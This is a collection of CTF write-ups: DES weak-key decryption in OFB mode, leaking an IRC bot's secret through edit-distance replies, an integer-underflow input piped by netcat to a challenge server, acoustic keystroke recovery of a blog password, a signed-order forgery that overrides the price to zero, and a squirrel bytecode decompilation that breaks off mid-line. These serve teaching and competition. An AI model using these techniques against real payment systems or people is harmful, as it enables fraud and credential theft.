f = open('ciphertext', 'r')ciphertext = f.read()f.close()i=0IV = '13245678'bites = ['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\x09', '\x0A', '\x0B', '\x0C', '\x0D', '\x0E', '\x0F', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1A', '\x1B', '\x1C', '\x1D', '\x1E', '\x1F', '\x20', '\x21', '\x22', '\x23', '\x24', '\x25', '\x26', '\x27', '\x28', '\x29', '\x2A', '\x2B', '\x2C', '\x2D', '\x2E', '\x2F', '\x30', '\x31', '\x32', '\x33', '\x34', '\x35', '\x36', '\x37', '\x38', '\x39', '\x3A', '\x3B', '\x3C', '\x3D', '\x3E', '\x3F', '\x40', '\x41', '\x42', '\x43', '\x44', '\x45', '\x46', '\x47', '\x48', '\x49', '\x4A', '\x4B', '\x4C', '\x4D', '\x4E', '\x4F', '\x50', '\x51', '\x52', '\x53', '\x54', '\x55', '\x56', '\x57', '\x58', '\x59', '\x5A', '\x5B', '\x5C', '\x5D', '\x5E', '\x5F', '\x60', '\x61', '\x62', '\x63', '\x64', '\x65', '\x66', '\x67', '\x68', '\x69', '\x6A', '\x6B', '\x6C', '\x6D', '\x6E', '\x6F', '\x70', '\x71', '\x72', '\x73', '\x74', '\x75', '\x76', '\x77', '\x78', '\x79', '\x7A', '\x7B', '\x7C', '\x7D', '\x7E', '\x7F', '\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8A', '\x8B', '\x8C', '\x8D', '\x8E', '\x8F', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9A', '\x9B', '\x9C', '\x9D', '\x9E', '\x9F', '\xA0', '\xA1', '\xA2', '\xA3', '\xA4', '\xA5', '\xA6', '\xA7', '\xA8', '\xA9', '\xAA', '\xAB', '\xAC', '\xAD', '\xAE', '\xAF', '\xB0', '\xB1', '\xB2', '\xB3', '\xB4', '\xB5', '\xB6', '\xB7', '\xB8', '\xB9', '\xBA', '\xBB', '\xBC', '\xBD', '\xBE', '\xBF', '\xC0', '\xC1', '\xC2', '\xC3', '\xC4', '\xC5', '\xC6', '\xC7', '\xC8', '\xC9', '\xCA', '\xCB', '\xCC', '\xCD', '\xCE', '\xCF', '\xD0', '\xD1', '\xD2', '\xD3', '\xD4', '\xD5', '\xD6', '\xD7', '\xD8', '\xD9', '\xDA', '\xDB', '\xDC', '\xDD', '\xDE', '\xDF', '\xE0', '\xE1', '\xE2', '\xE3', '\xE4', '\xE5', '\xE6', '\xE7', '\xE8', '\xE9', '\xEA', '\xEB', '\xEC', '\xED', '\xEE', '\xEF', '\xF0', '\xF1', '\xF2', '\xF3', '\xF4', '\xF5', '\xF6', '\xF7', '\xF8', '\xF9', '\xFA', '\xFB', '\xFC', '\xFD', '\xFE']for bite1 in bites: for bite2 in bites: for bite3 in bites: for bite4 in bites: for bite5 in bites: for bite6 in bites: for bite7 in bites: for bite8 in bites: KEY=b''.join([bite1,bite2,bite3,bite4,bite5,bite6,bite7,bite8]) a = DES.new(KEY, DES.MODE_OFB, IV) plaintext = a.decrypt(ciphertext) if is_ascii(plaintext): print ByteToHex(KEY)+":"+plaintext```
I should have realized just from the keyspace, but after a few minutes of bruteforcing it was obvious that this was not going to finish during the CTF, current month, or possibly the current year. I took a step back and looked a little deeper into DES and OFB together. I quickly came across an [article](http://crypto.stackexchange.com/questions/7938/may-the-problem-with-des-using-ofb-mode-be-generalized-for-all-feistel-ciphers) on ```crypto.stackexchange.com``` that proved to be very helpful. From the exchange of information there are a few key (no pun intended) pieces of information here. Namely the following:
>That is correct as that is the definition of a DES weak key, a key for which encryption and decryption have the same effect.
and
>The output of every other blockcipher call would be the original IV which is assumed to be public knowledge, so the attacker can decrypt every other block w/o knowing the key. Further more the odd numbered blocks (if we start our numbering with 1) will all be encrypted with the same keystream. So that is a weakness in and of itself. But, even more so, since there are only 4 weak keys, the attacker can surely figure out the odd numbered blocks too (once he knows a weak key was used).
This sounded perfect, but I didn't exactly know what the definition of a weak key was. With a little more help from Google I found an [article](https://en.wikipedia.org/wiki/Weak_key) that directly called out weak keys for DES. In it we find the following 4 weak keys:
```0x00000000000000000xFFFFFFFFFFFFFFFF0xE1E1E1E1F0F0F0F00x1E1E1E1E0F0F0F0F```
Using this information I went back and edited my initial brute force script to only use the following keys.
```pythonfrom Crypto.Cipher import DES
f = open('ciphertext', 'r')ciphertext = f.read()f.close()IV = '13245678'KEY=b'\x00\x00\x00\x00\x00\x00\x00\x00'a = DES.new(KEY, DES.MODE_OFB, IV)plaintext = a.decrypt(ciphertext)print plaintext
KEY=b'\x1E\x1E\x1E\x1E\x0F\x0F\x0F\x0F'a = DES.new(KEY, DES.MODE_OFB, IV)plaintext = a.decrypt(ciphertext)print plaintext
KEY="\xE1\xE1\xE1\xE1\xF0\xF0\xF0\xF0"a = DES.new(KEY, DES.MODE_OFB, IV)plaintext = a.decrypt(ciphertext)print plaintext
KEY="\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"a = DES.new(KEY, DES.MODE_OFB, IV)plaintext = a.decrypt(ciphertext)print plaintext```
From the output we find the the decrypted plaintext.
```To be, or not to be, that is the question:Whether 'tis Nobler in the mind to sufferThe Slings and Arrows of outrageous Fortune,Or to take Arms against a Sea of troubles,And by opposing end them: to die, to sleepNo more; and by a sleep, to say we endThe Heart-ache, and the thousand Natural shocksThat Flesh is heir to? 'Tis a consummationDevoutly to be wished. To die, to sleep,To sleep, perchance to Dream; aye, there's the rub,For in that sleep of death, what dreams may come,When we have shuffled off this mortal coil,Must give us pause. There's the respectThat makes Calamity of so long life:For who would bear the Whips and Scorns of time,The Oppressor's wrong, the proud man's Contumely,The pangs of despised Love, the Law’s delay,The insolence of Office, and the SpurnsThat patient merit of the unworthy takes,When he himself might his Quietus makeWith a bare Bodkin? Who would Fardels bear,To grunt and sweat under a weary life,But that the dread of something after death,The undiscovered Country, from whose bournNo Traveller returns, Puzzles the will,And makes us rather bear those ills we have,Than fly to others that we know not of.Thus Conscience does make Cowards of us all,And thus the Native hue of ResolutionIs sicklied o'er, with the pale cast of Thought,And enterprises of great pitch and moment,With this regard their Currents turn awry,And lose the name of Action. Soft you now,The fair Ophelia? Nymph, in thy OrisonsBe all my sins remembered. BKPCTF{so_its_just_a_short_repeating_otp!}```
We did recover the flag ```BKPCTF{so_its_just_a_short_repeating_otp!}```, but we should hold true to the description and marvel at how broken everything is. To that effect, I've included the output of one of the incorrect weak keys. It's amazing how much you can see without actually having the correct decryption key.
```g?䲕??or not to??????at is the??????on:WhethV?????? Nobler i]స???ind to suU??????e Slings R?????ows of ouG??????s Fortuneʋ???? take Arm@ॷ???st a Sea \?䤂??bles,And?????osing end??????to die, t\???No more;?????? a sleep,?????? we endT[?䘕??t-ache, a]?䤘?thousand }?????? shocksT[?????sh is heiAిϤ?Tis a con@??????onDevout_?䤟??e wished.?????, to sleeC?΄???leep, perP?????to Dream;???ܤ?here's thVඥ???For in thR?䣜??p of deat[?䧘?? dreams mR?䳟??,When we??????huffled oU?䤘?? mortal c\??????st give u@റ???. There's??????spectThaGੱ??? Calamity?????long life ʂ????ho would Q??????e Whips a]?䃓??ns of timV?΄??Oppressor?䧂??g, the pr\?????'s ContumV??????e pangs oU࠵???sed Love,??????w’s delR??ڤ?? insolencV???fice, and??????urnsThat??????t merit oUస???nworthy tR????hen he hi^??????ight his b?????? makeWit[????e Bodkin???????uld Farde_?䲕??,To grunGॾ???weat undeA?????ry life,q??????t the dreR?俖??omething R??????eath,The??????overed CoF??????from whosVি???No Trave_??????turns, PuI??????he will,r?????es us rat[?????r those i_?????have,Tha]ࢼ???o others G?????? know not??????us ConsciV??????es make C\??????of us allʅ????hus the NR??????ue of Res\??????Is sicklZ????r, with t[?䠑?? cast of g??????,And entV??????s of greaGഹ??? and mome]??ڧ??h this reT??????eir Curre]??????n awry,A]?伟?? the name?????ion. Soft??????w,The faZ?䟀??lia? Nymp[?乞??hy Orison@ʆ????l my sins??????ered. BKPp??????its_just_R??????_repeatinT??????``` |
The player is presented with a website that allows deployment of an IRC bot to any IRC channel on Freenode, with the option to provide a channel password. The bot joins the specified channel, and allows the command "!flag", which takes a single argument.<span><span>
< indifferent1625> Before you join the future of IRC, you must prove yourself worthy. !flag. This conversation may be <span>monitored.</span></span><span>< ufurnace> !flag bbb</span><span>< indifferent6793> You are still too distant from ascending. 12</span></span><span>For native English speakers, this is an odd way to say "Wrong flag." We also see a number at the end. We try some more junk, and occasionally see different numbers. As it turns out, this number is called "bytewise edit distance" or "levenshtein distance". It represents the number of bytes we need to add, remove, and change to get from one set of bytes to another. Given enough queries, we can learn the secret.First, we learn the length of the secret and the character set in use by cycling through single characters. The edit distance from a single character can be either the length of the secret minus one (meaning the character appears in the secret) or the exact length of the secret (meaning that the character does not appear in the secret. For various characters, we receive the answers '11' and '12'. As such, the secret must be 12 characters long, with the character set [</span>Fadglrs018].<span>We progress to a binary tree algorithm to determine where each character appears in the secret by splitting up the candidate secret into half characters we know appear in the secret and half which do not, narrowing each section until we determine exactly where the character does and does not appear:</span><span><span><ufurnace> !flag aaaaaabbbbbb</span><span><indifferent6793> You are still too distant from ascending. 12</span><span><ufurnace> !flag bbbbbbaaaaaa</span><span><indifferent6793> You are still too distant from ascending. 11</span><span><ufurnace> !flag bbbbbbbbbaaa</span><span><indifferent6793> You are still too distant from ascending. 12</span><span><ufurnace> !flag bbbbbbaaabbb</span><span><indifferent6793> You are still too distant from ascending. 11</span><span><ufurnace> !flag bbbbbbaabbbb</span><span><indifferent6793> You are still too distant from ascending. 11</span><span><ufurnace><span> !flag bbbbbbabbbbb</span></span><span><indifferent6793><span> You are still too distant from ascending. 11</span></span></span>Above, we learn that 'a' appears once, in the seventh byte position. Eventually, we learn the full secret and submit it to the bot, which gives us the flag:<span><span><ufurnace<span>> !flag Fl0r1da1sgr8</span></span><indifferent1625> Ascension adequate. Your points: sun{internet_relay_meme}</span> |
---title: "Write-up - Sunshine CTF 2016 - alligatorsim95"date: 2016-03-14 00:00:00tags: [Write-up, Sunshine CTF 2016]summary: "Write-up about Sunshine CTF 2016 - alligatorsim95"---
In this challenge, we need to connect to a server through Netcat. Let is do it with `nc 4.31.182.242 9000`. A message appears.
```
.-._ _ _ _ _ _ _ _ _ .-''-.__.-'00 '-' ' ' ' ' ' ' ' '-. '.___ ' . .--_'-' '-' '-' _'-' '._ V: V 'vv-' '_ '. .' _..' '.'. '=.____.=_.--' :_.__.__:_ '. : : (((____.-' '-. / : : snd (((-' .' / _____..' .' '-._____.-' -> welcome to alligatorsim95!
-> u r... AN ALLIGATOR!!.. simulating alligator lifecycle .... simulating alligator throwing physics..-> you got 1337 eggz in ur nest, how many you gonna lay alligator?? ~~ producing eggz ~~```
After digging we can see that the program can accept any values, especially negative values. This is surely a way to perform [integer underflows](https://en.wikipedia.org/wiki/Integer_overflow). By a simple command in Python we can find the flag: `python -c "print -1337; print -0xffffffff; print -1" | nc 4.31.182.242 9000`. We will have the following message:
``` .-._ _ _ _ _ _ _ _ _ .-''-.__.-'00 '-' ' ' ' ' ' ' ' '-. '.___ ' . .--_'-' '-' '-' _'-' '._ V: V 'vv-' '_ '. .' _..' '.'. '=.____.=_.--' :_.__.__:_ '. : : (((____.-' '-. / : : snd (((-' .' / _____..' .' '-._____.-' -> welcome to alligatorsim95!
-> u r... AN ALLIGATOR!!.. simulating alligator lifecycle .... simulating alligator throwing physics..-> you got 1337 eggz in ur nest, how many you gonna lay alligator?? ~~ producing eggz ~~.. simulating alligator lifecycle .... simulating alligator throwing physics..-> you got 0 eggz in ur nest, how many you gonna lay alligator?? ~~ producing eggz ~~.. simulating alligator lifecycle .... simulating alligator throwing physics..-> you got -2147483648 eggz in ur nest, how many you gonna lay alligator?? ~~ producing eggz ~~-> dang 2147483647 is a lotta eggs-> as a god among gators here is ur crown:sun{int_0verflow_i5_a_g0od_st4rt}```
The flag is `sun{int_0verflow_i5_a_g0od_st4rt}`. |
## Hack By The Sound (Misc, 200p)
A well known blogger has came to a hotel that we had good relationships with its staffs. We tried to capture the sound of his room by placing a microphone inside the desk.
We have recorded the sound about the time that he has typed a text in his blogg. You could find the text he typed in "Blog Text.txt". We reduce noises somehow and found that many characters may have the same keysound. Also we know that he use meaningful username and password. Could you extract the username and password of his blog? flag is concatenation of his username and password as usernamepassword. Download sound.tar.gz
###ENG[PL](#pl-version)
The attached .wav file had no sound loud enough for our ears, but amplifying it using Audacity we were able to noticethat it was sound of a person typing. Words were pretty noticeable - space always meant that typing stops for a splitsecond. By ear, all the key sounds were identical though.
However, we checked out Audacity's wave representation of keys and overlaid some of them in GIMP. Here is the result:![](http://i.imgur.com/royrw1X.png)
The first image is two "S" sounds overlaid - there were almost no changes. The second one - "O" and "I" - had minordifferences, and the last one - "N" and "A" - showed noticeable changes. Apparently, the further the keys are on thekeyboard, the more differences they have.
The task now was obvious, but still hard. In the end, we did the following:- read raw data from the wav- found the sound peaks, corresponding to individual key presses- cut about 0.05s worth of sound around each peak- repair blog text - there were some extra characters in a couple of places, which made keysound-to-character correspondence wrong- for each unknown keypress, iterate over known keypresses and try to find best fit
Unfortunately, some characters had the same sound, so we were unable to find the password in plaintext - instead, wegot a range of characters for each position:
```[] [] [ced] [frv] [ced] [ikl] [hny] [sw] [bgt] [ced] [il] [hny] [,.] [ced] [op] [mu] [] [] [ ] [] [ ] [] [a] [ced] [jmu] [ikl] [hny] [] [-sw] [op] [jmu] [ced] [bgt] [hny] [ikl] [hny] [bgt] [] [] [ ] [] [ ] [] ```The first word was probably website (look at the end - ".com"), so we were not interested in that. The remainingtwo words were somewhat challenging to guess, but eventually we found them: `admin` and `something`. Concatenatedtogather, they were the flag.
###PL version
Załączony plik .wav był zbyt cichy, żeby cokolwiek usłyszec, ale wzmacniając go przy użyciu Audacity, zauważyliśmy, żebyło to nagranie osoby piszącej na klawiaturze. Słowa były rozróżnialne - spacja była znacznie dłuższym dźwiękiem odpozostałych klawiszy. Te niestety były dla ludzkiego ucha nierozróżnialne.
Sprawdziliśmy jednak reprezentację tych dźwięków w Audacity i nałożyliśmy niektóre z nich na siebie w GIMPie. Rezultat:![](http://i.imgur.com/royrw1X.png)
Pierwszy obrazek, to dwa dźwięki "S" nałożone na siebie - wyglądają jak jedna fala. Drugi - to "O" i "I" - miał niewielkie,pikselowe wręcz różnice. Ostatni zaś - "N" i "A" - ujawnił znaczące różnice w dźwiękach. Najwyraźniej im dalej klawiszesię od siebie znajdują na klawiaturze, tym większa jest różnica w ich dźwiękach.
W tym momencie doskonale wiedzieliśmy, o co chodzi w zadaniu - należy dopasować nieznane dźwięki z początku do znanychz końca nagrania. Łatwo powiedzieć, trudniej zrobić. Ostatecznie, zrobiliśmy to następująco:- wczytalliśmy surowe dane z pliku i je sparsowaliśmy- znaleźliśmy górki odpowiadające uderzeniom klawisza- wycięliśmy około 0.05-sekundowe kawałki wokół każdej górki- naprawiliśmy podany tekst z bloga - niektóre litery pojawiły się w tekście, ale nie w dźwięku, co psuło dopasowywanie- dla każdego nieznanego dźwięku, znajdowaliśmy znany o najlepszym dopasowaniu
W praktyce jednak, musliśmy poprzestać na kilku możliwościach dla każdego uderzenia - niektóre klawisze miały bowiemidentyczny dźwięk, co inne, nie pozwalając tym samym na jednoznaczny odczyt. Wynik działania programu:```[] [] [ced] [frv] [ced] [ikl] [hny] [sw] [bgt] [ced] [il] [hny] [,.] [ced] [op] [mu] [] [] [ ] [] [ ] [] [a] [ced] [jmu] [ikl] [hny] [] [-sw] [op] [jmu] [ced] [bgt] [hny] [ikl] [hny] [bgt] [] [] [ ] [] [ ] [] ```Pierwsze słowo to prawdopodobnie nazwa strony internetowej (świadczy o tym końcówka ".com"), więc nie jesteśmy tymfragmentem zainteresowani. Pozostałe dwa słowa to login i hasło - po dłuższej chwili, zauważyliśmy, że pasują donich słowa: `admin` i `something`. Połączone razem, były one flagą. |
# BCTF 2016: zerodaystore
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| BCTF | zerodaystore | Misc. | 200 |
### Description> [server.py.8c15b34d5e32243f5ed38c1b055bfd6f](challenge)>> [zerodaystore.apk.7869c5b00cdf037273e39572fb1affdb](challenge)
## Write-up
This challenge consists of an android app and a server component written in python. If we take a look at the source of the server component we can see the following:
```python def POST(self): try: orderStr = web.data() subIndex = orderStr.rfind('&sign=') signedStr = orderStr[:subIndex] messageHash = hashlib.sha256(signedStr).digest() if not(rsa.verify(signedStr, b64decode(orderStr[subIndex+6:]), pubKey)): raise Exception
except: return json.dumps({'status':2})
try: orderStrParts = orderStr.split('&') price = 0 orderID = "" for part in orderStrParts: if part.startswith('price='): price = int(part[6:]) if part.startswith('orderID='): orderID = part[8:] if price > 0: raise Exception
return json.dumps({'status':4, 'data':'BCTF{XXXXXXXXXXXXXXXX}'})
except: return json.dumps({'status':3})```
So we should find the server where this is hosted and somehow trick it into processing a signed order with `price = 0`. The order routine allows us to place an order and signs it:
```python params = web.data() data = json.loads(params) androidID = data['androidID'] productID = data['productID'] if productID == 0: price = 50000 elif productID == 1: price = 80000 elif productID == 2: price = 100000 elif productID == 3: price = 120000 elif productID == 4: price = 500000 else: raise ValueError("productID is not correct!")
rand = random.randint(1,100000000) orderID = androidID + str(rand) timestamp = int(time.time()*1000) orderStr = "orderID="+orderID orderStr += ("&price="+str(price)) orderStr += ("&productID="+str(productID)) orderStr += ("×tamp="+str(timestamp)) orderStr += ("&signer=RSA") orderStr += ("&hash=sha256")
nonce = "%016x" % random.getrandbits(64) orderStr += ("&nonce="+nonce) messageHash = hashlib.sha256(orderStr).digest()
messageSign = rsa.sign(orderStr, privKey, 'SHA-256') orderStr += ("&sign="+b64encode(messageSign))
return json.dumps({'status':1, 'data':orderStr}) except: return json.dumps({'status':0})```
As we can see it sets the price itself so we can't influence it here. Loading up the APK file in `jadx` allows us to extract the two hostnames which are used for placing orders and processing 'payments': `http://mall.godric.me` and `http://paygate.godric.me`.
Let's take a closer look at the payment data parsing routine:
```python orderStrParts = orderStr.split('&') price = 0 orderID = "" for part in orderStrParts: if part.startswith('price='): price = int(part[6:]) if part.startswith('orderID='): orderID = part[8:]```
This splits the order string into parts seperated by `&` and whenever a part starts with `price=` it sets the price variable accordingly. This means that we can redefine the variable at a later point during string processing, eg. `&price=1337&price=0`. Now lets take a look at how the signing is done:
```python orderStr = web.data() subIndex = orderStr.rfind('&sign=') signedStr = orderStr[:subIndex] messageHash = hashlib.sha256(signedStr).digest() if not(rsa.verify(signedStr, b64decode(orderStr[subIndex+6:]), pubKey)): raise Exception```
We find the signature as indicated by &sign= and extract the signed string from it as everything preceding it. This signed string is then sha256 hashed and compared against the signature embedded in the base64 encoded rest of the string. The problem lies with the above described 'variable overriding' combined with the fact that b64decode doesn't "safe decode" and ignores any non-base64 data appended to a base64 blob, eg.:
```pythonb64decode(b64encode("test")+"&price=0") = 'test'```
Here the signature will be valid over the data preceding the signature while the final appended parameter will override the price which [gives us](solution/zerodaystore_crack.py):
```bash$ ./zerodaystore_crack.py[+] Got flag: [BCTF{0DayL0veR1chGuy5}]``` |
# BCTF 2016: sif
## Challenge details| Event | Challenge | Category | Points ||:------|:----------|:---------|-------:|| BCTF | sif | Misc. | 350 |
### Description> [sif.fd5d0eb0e7a0fdc2b0a8fad3e0015552](challenge)>> [flag.png.bf845d7e9972c0c05906f8d0eb831ff4](challenge)
## Write-up
This challenge consisted of two files, a file named [sif](challenge/sif) and an apparently encrypted PNG file named [flag.png](challenge/flag.png). When trying to identify `sif` the usual file command was of no use:
```bashfile sifsif; data```
Taking a look with a hex editor revealed the first 6 bytes to be `"\xFA\xFARIQS"` which turned out to be the header magic for [compiled squirrel files](https://en.wikipedia.org/wiki/Squirrel_(programming_language)).
```Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 FA FA 52 49 51 53 01 00 00 00 08 00 00 00 04 00 úúRIQS 00000010 00 00 54 52 41 50 10 00 00 08 07 00 00 00 00 00 TRAP 00000020 00 00 73 69 66 2E 6E 75 74 10 00 00 08 04 00 00 sif.nut 00000030 00 00 00 00 00 6D 61 69 6E 54 52 41 50 mainTRAP```
Squirrel is a high level imperative OO scripting language for lightweight purposes apparently used in game development. The language (and especially its compiled `cnut` format) turned out to not be all that well documented but we stumbled upon an [existing decompiler](https://github.com/darknesswind/NutCracker). The decompiler, however, failed to properly decompile `sif` with the following error:
```bashnutcracker.exe sifError: Bad format of source binary file (PART marker was not match).```
So we took about reversing the `cnut` format a bit and fixing the decompiler where necessary. It turns out the `cnut` header looks roughly as follows:
> [header magic (6 bytes)] [size of char (4 bytes)] [size of int (4 bytes)] [size of float (4 bytes)] [PART (in little endian)]
So the 3rd to 5th data field of the header indicate the sizes it uses for elementary datatypes and we can also see every info section in `cnut` files is terminated by an expected `PART` marker to indicate we're properly parsing. When we look at the source-code of the decompiler we see the following:
```cppvoid NutFunction::Load( BinaryReader& reader ){ reader.ConfirmOnPart();
reader.ReadSQStringObject(m_SourceName); reader.ReadSQStringObject(m_Name);
reader.ConfirmOnPart(); int nLiterals = reader.ReadInt32(); int nParameters = reader.ReadInt32(); int nOuterValues = reader.ReadInt32(); int nLocalVarInfos = reader.ReadInt32(); int nLineInfos = reader.ReadInt32(); int nDefaultParams = reader.ReadInt32(); int nInstructions = reader.ReadInt32(); int nFunctions = reader.ReadInt32();```
The problem here is that the ubiquitous use of `ReadInt32()` doesn't work since in our `sif` file our integer size is 8 bytes rather than 4. As such we modified the decompiler source by adding `ReadInt64()` to its definitions and modifying the decompiler to use that instead of `ReadInt32()` where necessary:
```cppint64_t ReadInt64( void ){ return ReadValue<int64_t>(); }```
After working our way through the decompiler source to address this problem we ran the fixed decompiler against `sif` and it spew out the following squirrel decompilation:
```c // [001] OP_NEWOBJ 3 -1 -1 2$[stack offset 3].A <- 0;$[stack offset 3].B <- 0;$[stack offset 3].C <- 0;$[stack offset 3].D <- 0;$[stack offset 3].buf <- null;$[stack offset 3].size <- 0;$[stack offset 3].constructor <- function (){ this.A = 1732584193; this.B = 4023233417; this.C = 2562383102; this.D = 271733878; this.buf = this.blob(); this.size = 0;};$[stack offset 3]._update_block <- function ( data ){ // [000] OP_NEWOBJ 2 0 0 1 local i = 0; // [003] OP_JCMP 4 9 3 3 i++; // [012] OP_JMP 0 -11 0 0 local F = function ( x, y, z ) { return x & y | ~x & z; }; local G = function ( x, y, z ) { return x & z | y & ~z; }; local H = function ( x, y, z ) { return x ^ y ^ z; }; local I = function ( x, y, z ) { return (y ^ (x | ~z)) & 4294967295; }; local Z = function ( f, a, b, c, d, x, s, t ) { a = a + f(b, c, d) + x + t & 4294967295; a = a << s & 4294967295 | (a & 4294967295) << 32 - s; return a + b; }; // [018] OP_NEWOBJ 8 68 0 1 $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); $[stack offset 8].append($[stack offset 8], $[stack offset 2].append(data.readn(105) & 4294967295)); local a = this.A; local b = this.B; local c = this.C; local d = this.D; a = Z(F, a, b, c, d, $[stack offset 2][0], 7, $[stack offset 8][0]); d = Z(F, d, a, b, c, $[stack offset 2][1], 12, $[stack offset 8][1]); c = Z(F, c, d, a, b, $[stack offset 2][2], 17, $[stack offset 8][2]); b = Z(F, b, c, d, a, $[stack offset 2][3], 22, $[stack offset 8][3]); a = Z(F, a, b, c, d, $[stack offset 2][4], 7, $[stack offset 8][4]); d = Z(F, d, a, b, c, $[stack offset 2][5], 12, $[stack offset 8][5]); c = Z(F, c, d, a, b, $[stack offset 2][6], 17, $[stack offset 8][6]); b = Z(F, b, c, d, a, $[stack offset 2][7], 22, $[stack offset 8][7]); a = Z(F, a, b, c, d, $[stack offset 2][8], 7, $[stack offset 